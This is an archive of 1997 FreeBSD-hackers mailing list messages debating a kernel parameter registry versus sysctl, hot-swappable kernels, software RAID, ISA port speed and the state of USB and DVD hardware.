Wed Aug 6 08:34:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA02460 for hackers-outgoing; Wed, 6 Aug 1997 08:34:00 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA02453 for ; Wed, 6 Aug 1997 08:33:57 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 2186 on Wed, 6 Aug 1997 15:33:48 GMT; id PAA02186 efrom: hans@brandinnovators.com; eto: UNKNOWN Received: by truk.brandinnovators.com (8.7.5/BI96070101) for <> id RAA17772; Wed, 6 Aug 1997 17:23:18 +0200 (MET DST) Message-Id: <199708061523.RAA17772@truk.brandinnovators.com> From: hans@brandinnovators.com (Hans Zuidam) Subject: Re: Registry reviewers? To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Wed, 6 Aug 1997 17:23:17 +0200 (MET DST) Cc: hackers@FreeBSD.ORG In-Reply-To: <199708060314.MAA02934@genesis.atrad.adelaide.edu.au> from Michael Smith at "Aug 6, 97 12:44:52 pm" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Michael Smith wrote: > Hans Zuidam stands accused of saying: > > > Michael Smith wrote: > > > If I were to just slip it in parallel with the sysctl code, would anyone > > > notice? 8) > > Forgive my ignorance, but what does the registery code actually do that > > cannot be done with sysctl? > Is this "in general" or "specifically"? Both probably ;-) > The most significant differences are that it uses method-based access > to data, ie. the node supplies methods rather than a data pointer, and > it tries harder to hide the innards of the data storage from the > consumer. The main problem I have with this registry idea is that there is already a facility in the kernel for this type of work. It may not be perfect, but it works and may be considered ``standard'' in the BSD world. Another problem is that of robustness: if the registry get corrupt your whole system is compromised, see your average Windows 95/NT system. It's something like putting all your eggs in one basket and then sitting on it... Hans BTW. I do like the ppbus driver, it solves quite a few problems, thanks. -- H. Zuidam E-Mail: hans@brandinnovators.com Brand Innovators B.V. P-Mail: P.O. Box 1377 de Pinckart 54 5602 BJ Eindhoven, The Netherlands 5674 CC Nuenen Tel. +31 40 2631134, Fax. +31 40 2831138 From owner-freebsd-hackers Wed Aug 6 09:17:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA04700 for hackers-outgoing; Wed, 6 Aug 1997 09:17:59 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA04694 for ; Wed, 6 Aug 1997 09:17:54 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id BAA09232; Thu, 7 Aug 1997 01:47:00 +0930 (CST) From: Michael Smith Message-Id: <199708061617.BAA09232@genesis.atrad.adelaide.edu.au> Subject: Re: Registry reviewers? In-Reply-To: <199708061452.QAA14915@bitbox.follo.net> from Eivind Eklund at "Aug 6, 97 04:52:05 pm" To: perhaps@yes.no (Eivind Eklund) Date: Thu, 7 Aug 1997 01:47:00 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hans@brandinnovators.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Eivind Eklund stands accused of saying: > > > > Is this "in general" or "specifically"? > > > > The most significant differences are that it uses method-based access > > to data, ie. the node supplies methods rather than a data pointer, and > > it tries harder to hide the innards of the data storage from the > > consumer. > > Does it supply inline documentation for each variable? That is my > main complain with both the windows registry and sysctl - there is no > inline docs. There would be nothing preventing the addition of a method off which inline documentation could be hung. Some might argue that there is an implicit bloat issue here though. Is it appropriate to have the documentation, which is primarily a user-space issue, bundled in the kernel? (MHO is that it's something one could easily conditionalise and live with in all but the tightest conditions, but that's just an O, and not one I expect to fly too well.) > And where is the code for review? (And how am I going to find time > for this? :) Realistically, all I hope is that a few people will suck it down and read the manpage, and of those a few will have something to say. I'm aware that this is taking a fairly wide swing away from the "traditional" Unix model of static configuration data, but we face a number of challenges which need this sort of flexibility. > Eivind. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 6 09:18:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA04748 for hackers-outgoing; Wed, 6 Aug 1997 09:18:47 -0700 (PDT) Received: from ferrari.sfu.ca (root@ferrari.sfu.ca [142.58.110.11]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA04738 for ; Wed, 6 Aug 1997 09:18:43 -0700 (PDT) Received: from fraser (fraser [192.168.0.101]) by ferrari.sfu.ca with SMTP (8.8.5/SFU-2.7H) id JAA23016 for (from ballanty@sfu.ca); Wed, 6 Aug 1997 09:18:41 -0700 (PDT) From: Rob Ballantyne Received: by fraser (950413.SGI.8.6.12/SFU-2.6C) id JAA26649 for freebsd-hackers@FreeBSD.ORG (from ballanty@sfu.ca); Wed, 6 Aug 1997 09:18:41 -0700 Message-Id: <199708061618.JAA26649@fraser> Subject: two questions (ISA speed & raid like support) To: freebsd-hackers@FreeBSD.ORG Date: Wed, 6 Aug 1997 09:18:41 -0700 (PDT) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello, I have two rather orthogonal questions about FreeBSD that I hope this is the proper forum for. 1. I've build trivial ISA card with exactly one 8-bit port (and 8 LEDs attached to display the contents) that I can read and write at will. I've done some simple minded thruput tests: read a megabyte, one byte at a time from the register, write a megabyte, one byte at a time as well. My results indicate that the trasfer rate I get is about 25-35 K bytes per second. What I want to know is if this would be normal in this case. I attempted to use ISA signal variously known as /NOWS and /0WS but I discovered a logic problem with my design so the current version is NOT using the ISA fast transfer mode. 2. A friend of mine an myself are thinking about setting up a 8000 user production system (we expect only a small proportion to use the system at once, but must maintain accounts for them all). To increase reliablity of this production level server we would like to use disk mirroring or perhaps RAID with some parity scheme. I don't recall anything like this being mentioned on the Web Site so I'm wondering if anyone is working on it or has worked on it? Many Thanks, Rob -------------------------------------------------------------------------- | Rob Ballantyne | | | email: ballanty@sfu.ca | _____ | | System Consultant | | | | Operations and Technical Support | -----------O----------- | | Simon Fraser University | | | Burnaby, BC, CANADA V5A 1S6 | | -------------------------------------------------------------------------- From owner-freebsd-hackers Wed Aug 6 09:22:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA05009 for hackers-outgoing; Wed, 6 Aug 1997 09:22:19 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA05003 for ; Wed, 6 Aug 1997 09:22:12 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id BAA09252; Thu, 7 Aug 1997 01:51:40 +0930 (CST) From: Michael Smith Message-Id: <199708061621.BAA09252@genesis.atrad.adelaide.edu.au> Subject: Re: Registry reviewers? In-Reply-To: <199708061452.QAA14915@bitbox.follo.net> from Eivind Eklund at "Aug 6, 97 04:52:05 pm" To: perhaps@yes.no (Eivind Eklund) Date: Thu, 7 Aug 1997 01:51:39 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hans@brandinnovators.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Eivind Eklund stands accused of saying: > > And where is the code for review? (And how am I going to find time > for this? :) Oh fooey, I forgot this bit... ftp://smith.net.au/FreeBSD/registry/ > Eivind. > -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 6 09:33:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA05570 for hackers-outgoing; Wed, 6 Aug 1997 09:33:11 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA05554 for ; Wed, 6 Aug 1997 09:33:04 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id CAA09358; Thu, 7 Aug 1997 02:02:54 +0930 (CST) From: Michael Smith Message-Id: <199708061632.CAA09358@genesis.atrad.adelaide.edu.au> Subject: Re: Registry reviewers? In-Reply-To: <199708061523.RAA17772@truk.brandinnovators.com> from Hans Zuidam at "Aug 6, 97 05:23:17 pm" To: hans@brandinnovators.com (Hans Zuidam) Date: Thu, 7 Aug 1997 02:02:54 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hans Zuidam stands accused of saying: > > The main problem I have with this registry idea is that there is > already a facility in the kernel for this type of work. It may > not be perfect, but it works and may be considered ``standard'' in > the BSD world. If I were to take sysctl and fix half of the things that are fundamentally wrong with its design, it would not look anything like it does now, and I would be pilloried for still calling it "sysctl". As things stand, I expect to be able to implement a backwards-compatible set of sysctl interfaces (although ours are nonstandard already) with relative ease, in order to smooth the potential transition to the new system. > Another problem is that of robustness: if the registry get corrupt > your whole system is compromised, see your average Windows 95/NT > system. It's something like putting all your eggs in one basket > and then sitting on it... This is a laughable argument, fundamentally. We already have just such a basket, called "the filesystem". It also shows a basic misapprehension about what an in-kernel parameter registry is all about. This is not a global system data collection; that sort of thing would live in user space, and I would be partial to asking Fred Roeber (Apollo, Netscape) for a lot of input on such an undertaking. > BTW. > I do like the ppbus driver, it solves quite a few problems, thanks. No problem; most of the sweat is Nicolas', and I hope he gets back to me soon so I can get the code committed (note no copyright as yet...) -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 6 09:46:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA06309 for hackers-outgoing; Wed, 6 Aug 1997 09:46:36 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA06304; Wed, 6 Aug 1997 09:46:30 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.6/8.8.5) with ESMTP id JAA04285; Wed, 6 Aug 1997 09:46:29 -0700 (PDT) Message-Id: <199708061646.JAA04285@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: multimedia@freebsd.org cc: hackers@freebsd.org Subject: descent III for linux? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 06 Aug 1997 09:46:29 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Care to show your support for at least a linux version of descent III? The linux glide library --- 3d hardware assist for Voodo Rush based boards works on FreeBSD so if they release a linux binary at least we will have the sound + 3d hardware support 8) Subject: Linux Descent 3!!! READ NOW!!! Date: Sat, 02 Aug 1997 17:52:21 -0400 From: Jay Organization: none To: Daryll Strauss Newsgroups: 3dfx.glide.linux References: 1 Daryll, man we have to get people to go to the Descent 3 message board and post a message about Linux Descent 3! We want them to make a Descent 3 for Linux and they said they would if enough people posted stuff about it. Get your Linux orented friends and lets show Interplay and Paralex we want a Descent 3 for Linux Glide or Linux MESA!!! Enjoy, Amancio From owner-freebsd-hackers Wed Aug 6 10:09:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA07708 for hackers-outgoing; Wed, 6 Aug 1997 10:09:25 -0700 (PDT) Received: from DNS.Lamb.net (root@DNS.Lamb.net [207.90.181.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA07703 for ; Wed, 6 Aug 1997 10:09:23 -0700 (PDT) Received: (from uucp@localhost) by DNS.Lamb.net (8.8.6/8.8.6) id KAA19488; Wed, 6 Aug 1997 10:09:30 -0700 (PDT) Received: from gatekeeper.Alameda.net(207.90.181.2) via SMTP by DNS.Lamb.net, id smtpd019486; Wed Aug 6 10:09:20 1997 Received: (from ulf@localhost) by Gatekeeper.Alameda.net (8.8.6/8.7.6) id KAA17863; Wed, 6 Aug 1997 10:09:12 -0700 (PDT) From: Ulf Zimmermann Message-Id: <199708061709.KAA17863@Gatekeeper.Alameda.net> Subject: Re: two questions (ISA speed & raid like support) In-Reply-To: <199708061618.JAA26649@fraser> from Rob Ballantyne at "Aug 6, 97 09:18:41 am" To: ballanty@sfu.ca (Rob Ballantyne) Date: Wed, 6 Aug 1997 10:09:11 -0700 (PDT) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Hello, > > I have two rather orthogonal questions about FreeBSD that I hope this > is the proper forum for. > > 2. A friend of mine an myself are thinking about setting up a > 8000 user production system (we expect only a small proportion to > use the system at once, but must maintain accounts for them all). > To increase reliablity of this production level server we would > like to use disk mirroring or perhaps RAID with some parity scheme. > I don't recall anything like this being mentioned on the Web Site > so I'm wondering if anyone is working on it or has worked on it? You can use the existing ccd to mirror the drives. I am preparing myself right now to write an extension for ccd to support RAID3 or RAID5 with parity, but this will still take some time and will also only be software. I have no idea yet how slow this will be. Depending on the money I would look at SCSI-2-SCSI raid controller, like from Adaptec, CMD, Mylex and others. > > Many Thanks, > > Rob > > -------------------------------------------------------------------------- > | Rob Ballantyne | | > | email: ballanty@sfu.ca | _____ | > | System Consultant | | | > | Operations and Technical Support | -----------O----------- | > | Simon Fraser University | | > | Burnaby, BC, CANADA V5A 1S6 | | > -------------------------------------------------------------------------- > > -- Ulf. -------------------------------------------------------------------------- Ulf Zimmermann, 1525 Pacific Ave., Alameda, CA-94501, #: 510-769-2936 Alameda Networks, Inc. | http://www.Alameda.net | Fax#: 510-521-5073 From owner-freebsd-hackers Wed Aug 6 10:50:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA09642 for hackers-outgoing; Wed, 6 Aug 1997 10:50:09 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA09637 for ; Wed, 6 Aug 1997 10:50:06 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA14339; Wed, 6 Aug 1997 10:46:32 -0700 From: Terry Lambert Message-Id: <199708061746.KAA14339@phaeton.artisoft.com> Subject: Re: Hot Swappable Kernels To: jamil@counterintelligence.ml.org (Jamil J. Weatherbee) Date: Wed, 6 Aug 1997 10:46:32 -0700 (MST) Cc: msmith@atrad.adelaide.edu.au, terry@lambert.org, hackers@FreeBSD.ORG In-Reply-To: from "Jamil J. Weatherbee" at Aug 6, 97 00:56:38 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I know this may sound kind of lame: > > I was thinking last night of what would be required to have a hot > swappable kernel.. i.e. being able to compile the kernel binary (probably) > modules and then insert it into a running system while maintaining its > running status --- to my knowledge kernel recompiles are the only reason a > perfectly rebooting system needs to come down every once in a while. > > 1. The kernel would obviously have to be broken into smaller pieces with > well documented dependencies on any kernel structures. > > 2. Programs that look directly into /kernel would obviously need to be > modernized. > > 3. The kernel installation process would need to have knowledge of any > changed data structures and how to move that data to new structures i.e. > version numbers on kernel data structures. Also device drivers might also > need to be able to do a hot reinitialization. You could not replace code in the paging path without a heavy architectural penalty (ie: copy to real RAM, shut code down, replace the code). If you excepted the paging path, what you describe is pretty much what I want to do. Any device that is not necessary for getting a kernel module replaced can be a replacable kernel module. This means automatic address/io/interrupt space wiring, etc.. These are already a requirement for PNP/PCI/PCMCIA/DOCK hot-swap, which is a stated goal. > The only thing I can think that > might be stubborn are some things like network cards that can be put into > unknown states if not handled properly. Some ISA probes are problematic, as well, since they are destructive. Eventually, all such hardware must be orphaned. > 5. An alternative to making the kernel dynamically sized would be to leave > a margin for hot swaps, like if you know your kernel needs 1.5mb then > reserve 3 of that type of memory for future swaps. At very least most > system calls should be able to be replaced on the fly -- especially > considering that these days it is taking longer and longer for machines to > boot up (you should see the boot time on my micron ppro, I have know Idea > what that thing does for the 2 minutes it sits there booting up) A margin is, or should be, unnecessary in a clean design. The kernel virtual address space can be relocated, as long as it is possible to identify relocation critical code, and leave it alone. This is a very tiny portion of the KVA space. This is the same technique I have suggested to allow post-boot physically contiguous memory range allocation for things like DVD/MPEG/QuickCam drivers. This approach requires the ability to set an attribute on a per page basis as to whether or not it is physically relocatable; this would require that the page attributes be specifiable at the object level, at a minimum -- section attribution, as in ELF/OLF object formats. In addition to relocatability, pages not containing code or data necessary for paging could also be marked pageable, and LRU'ed out, leaving more real memory for user programs. A pageable kernel would drop the FreeBSD memory footprint significantly: it would probably be runnable (though not pretty) in 1M of memory. Or less. The resulting system would *certainly* be higher performance in, for example, a 4M footprint, than the current system. FreeBSD CE for ROM'ing in palmtop computers, anyone? Additional optimizations fall into both the "obvious" and "non-obvious" categories. For example, it's pretty obvious that you could put probe code in a seperate section (assuming sections were page aligned), and discard those pages when the kernel was not actively engaged in probing for hardware. This would let you throw away dirty data pages from the probe process as well, since they may be discarded without damaging the ability of the kernel to reload and use the probe code, or to run following a successful probe. It's less obvious that you could do some things for "lightweight" footprint implements (like the aforementioned FreeBSD CE). For example, you could replace large portions of the kernel drivers with ROM calls to offload the memory footprint into already existing ROM. Etc. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Aug 6 11:16:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA10876 for hackers-outgoing; Wed, 6 Aug 1997 11:16:55 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA10853; Wed, 6 Aug 1997 11:16:48 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA14421; Wed, 6 Aug 1997 11:10:58 -0700 From: Terry Lambert Message-Id: <199708061810.LAA14421@phaeton.artisoft.com> Subject: Re: Status of USB, TX chipset, PIIX3, etc. To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Wed, 6 Aug 1997 11:10:58 -0700 (MST) Cc: ARahimi@e-planet.com, msmith@atrad.adelaide.edu.au, freebsd@atipa.com, sthaug@nethelp.no, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG In-Reply-To: <199708060910.SAA06556@genesis.atrad.adelaide.edu.au> from "Michael Smith" at Aug 6, 97 06:40:02 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > >It would also be foolish to leap in in a hurry and waste scarce > > >developer resources on the next fad. > > > > Not so if every major manufacturer is looking at USB and if you're > > intereseted in staying competitive. > > This isn't obvious though. Where are all the USB peripherals? Specifically, when will Logitech sell me a USB mouse? When will KeyTronic sell me a USB keyboard? > Well, USB ports have been a selling point on a lot of systems here, > but most of the motherboards that ship with it come with mini-8 DIN > connectors rather than the "real" USB connector. Well, that's it, then. The standard is doomed. There is already going to be a need for differential cable connectors. Might as well scrap the damn thing. Anyone wonder why IDE sells at all, even though SCSI is so obviously technically superior? 8-(. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Aug 6 11:19:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA11057 for hackers-outgoing; Wed, 6 Aug 1997 11:19:16 -0700 (PDT) Received: from papagaio.voga.com.br (papagaio.voga.com.br [200.239.39.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA11052 for ; Wed, 6 Aug 1997 11:19:12 -0700 (PDT) Received: by papagaio.voga.com.br(Lotus SMTP MTA v1.06 (346.7 3-18-1997)) id 032564EB.0064F7EB ; Wed, 6 Aug 1997 15:22:50 -0300 X-Lotus-FromDomain: VOGA From: "Daniel Sobral" To: hackers@FreeBSD.ORG Message-ID: <032564EB.00643CF0.00@papagaio.voga.com.br> Date: Wed, 6 Aug 1997 15:19:14 -0300 Subject: Hot swappable kernels Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I can't imagine how you would start to do such a thing with UNIX. The closest you could > come to it would be to split most of the kernel into > LKMs, and change them. But there's a basic conflict of concept > between keeping a kernel running (even if it's no longer the same > kernel) and booting a kernel. I suppose Fluke/Flux could do it. I don't have the links for them at hand right now, though. But unless you do it from the start, and that's *not* the case with FreeBSD, the amount of work just wouldn't be worth it. From owner-freebsd-hackers Wed Aug 6 11:21:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA11189 for hackers-outgoing; Wed, 6 Aug 1997 11:21:13 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA11183 for ; Wed, 6 Aug 1997 11:21:06 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA14438; Wed, 6 Aug 1997 11:17:13 -0700 From: Terry Lambert Message-Id: <199708061817.LAA14438@phaeton.artisoft.com> Subject: Re: Hot Swappable Kernels To: black@zen.cypher.net (Ben Black) Date: Wed, 6 Aug 1997 11:17:13 -0700 (MST) Cc: jamil@counterintelligence.ml.org, msmith@atrad.adelaide.edu.au, terry@lambert.org, hackers@FreeBSD.ORG In-Reply-To: from "Ben Black" at Aug 6, 97 06:26:39 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > systems like KeyKOS that store all kernel state outside the kernel could > theoretically do something like this. if the state is stored inside the > kernel things get REALLY ugly if you want to try this. This is not as big a problem as it seems. There are only a few types of state to worry about: 1) Boot/probe state 2) User state 3) Kernel state not in pager 4) Kernel state in pager (or SMP) There *are* things you can do, namely multistage replacement, that would let you play around with state in #4 as well (including the configuration state of the components which maintain configuration state). Mostly copy/execute, copy to replace copier, discard initial and other tail-chasing games. The permanent memory footprint should be minimized, but there is definite value in things like runtime vector replacement (yes, self-modifying kernel code) that this would lock out. I would prefer to see the stuff in area #4 loaded contiguously and small, and would be willing to accept a reboot (or the load of a complex module to do the replacement, which would not be written on the initial pass) to deal with #4. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Aug 6 11:27:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA11488 for hackers-outgoing; Wed, 6 Aug 1997 11:27:34 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA11464; Wed, 6 Aug 1997 11:27:28 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA14457; Wed, 6 Aug 1997 11:23:27 -0700 From: Terry Lambert Message-Id: <199708061823.LAA14457@phaeton.artisoft.com> Subject: Re: Status of USB, TX chipset, PIIX3, etc. To: garbanzo@hooked.net (Alex) Date: Wed, 6 Aug 1997 11:23:27 -0700 (MST) Cc: msmith@atrad.adelaide.edu.au, freebsd@atipa.com, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG In-Reply-To: from "Alex" at Aug 5, 97 07:40:29 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Wed, 6 Aug 1997, Michael Smith wrote: > > > DVD CD-ROMs and hardware decoders > > > > How are they different from "normal" CD-ROMs? > > I have no idea, however Memphis has a whole set of drivers specific for > DVD stuff and a whole bug section. DVD's require more hardware because they can hold a significantly larger amount of information. I believe you can burn a "short" DVD in a normal CD burner, and then pretend it's a DVD in oly 1/3 of the DVD drives out there. 8-(. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Aug 6 11:39:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA12174 for hackers-outgoing; Wed, 6 Aug 1997 11:39:54 -0700 (PDT) Received: from nimitz.mcs.kent.edu (root@nimitz.mcs.kent.edu [131.123.2.136]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA12147 for ; Wed, 6 Aug 1997 11:39:45 -0700 (PDT) Received: from arren.osrnet.mcs.kent.edu by nimitz.mcs.kent.edu with ESMTP (8.6.9/mcs.94.07.07b) id OAA10470; Wed, 6 Aug 1997 14:39:42 -0400 Received: (from mgessner@localhost) by arren.osrnet.mcs.kent.edu (8.6.9/8.6.9) id OAA15132 for hackers@freebsd.org; Wed, 6 Aug 1997 14:30:32 -0400 Date: Wed, 6 Aug 1997 14:30:32 -0400 From: Matthew Gessner Message-Id: <199708061830.OAA15132@arren.osrnet.mcs.kent.edu> To: hackers@freebsd.org Subject: unsubscribe Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk unsubscribe mgessner@aristar.com From owner-freebsd-hackers Wed Aug 6 12:05:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA13352 for hackers-outgoing; Wed, 6 Aug 1997 12:05:55 -0700 (PDT) Received: from sage.tamis.com (tamis.com [206.24.116.161]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA13338; Wed, 6 Aug 1997 12:05:46 -0700 (PDT) Received: (from daveh@localhost) by sage.tamis.com (8.8.5/8.6.12) id MAA11365; Wed, 6 Aug 1997 12:04:32 -0700 (PDT) Date: Wed, 6 Aug 1997 12:04:31 -0700 (PDT) From: David Holloway To: Terry Lambert cc: Michael Smith , ARahimi@e-planet.com, freebsd@atipa.com, sthaug@nethelp.no, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <199708061810.LAA14421@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk they will first sell/make Dell and Compaq a USB mouse and keyboard... -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQBtAzNlZLYAAAEDAMgNdZzjQLVUlL2iYYC5LXU7hGjB+NB6BPL5OyFM7/iAhhIo Z/u6VCQ9I3ly8c9kYwDcKoFCwn2qmEOFjiCDHdeGoUShtUD3UASm9j0yVlpUrzpS 8i8Rz9Ug1R1YtC9oEQAFEbQfRGF2aWQgSG9sbG93YXk8ZGF2ZWhAdGFtaXMuY29t PokAdQMFEDNlZLYg1R1YtC9oEQEBRJQC/3B3/CUirR2zTi/jxkU8vA1UtCiZXH1x oaUrSpeH3YDbV7zIRNBoIIgtncPgySACdH8+ikLAegfkImcYYqSDtu+y1qslYIAL XzTX9Wk6zE1k0JEPMkkKu8uLhx3Lk7Uscw== =8hwm -----END PGP PUBLIC KEY BLOCK----- On Wed, 6 Aug 1997, Terry Lambert wrote: > > > >It would also be foolish to leap in in a hurry and waste scarce > > > >developer resources on the next fad. > > > > > > Not so if every major manufacturer is looking at USB and if you're > > > intereseted in staying competitive. > > > > This isn't obvious though. Where are all the USB peripherals? 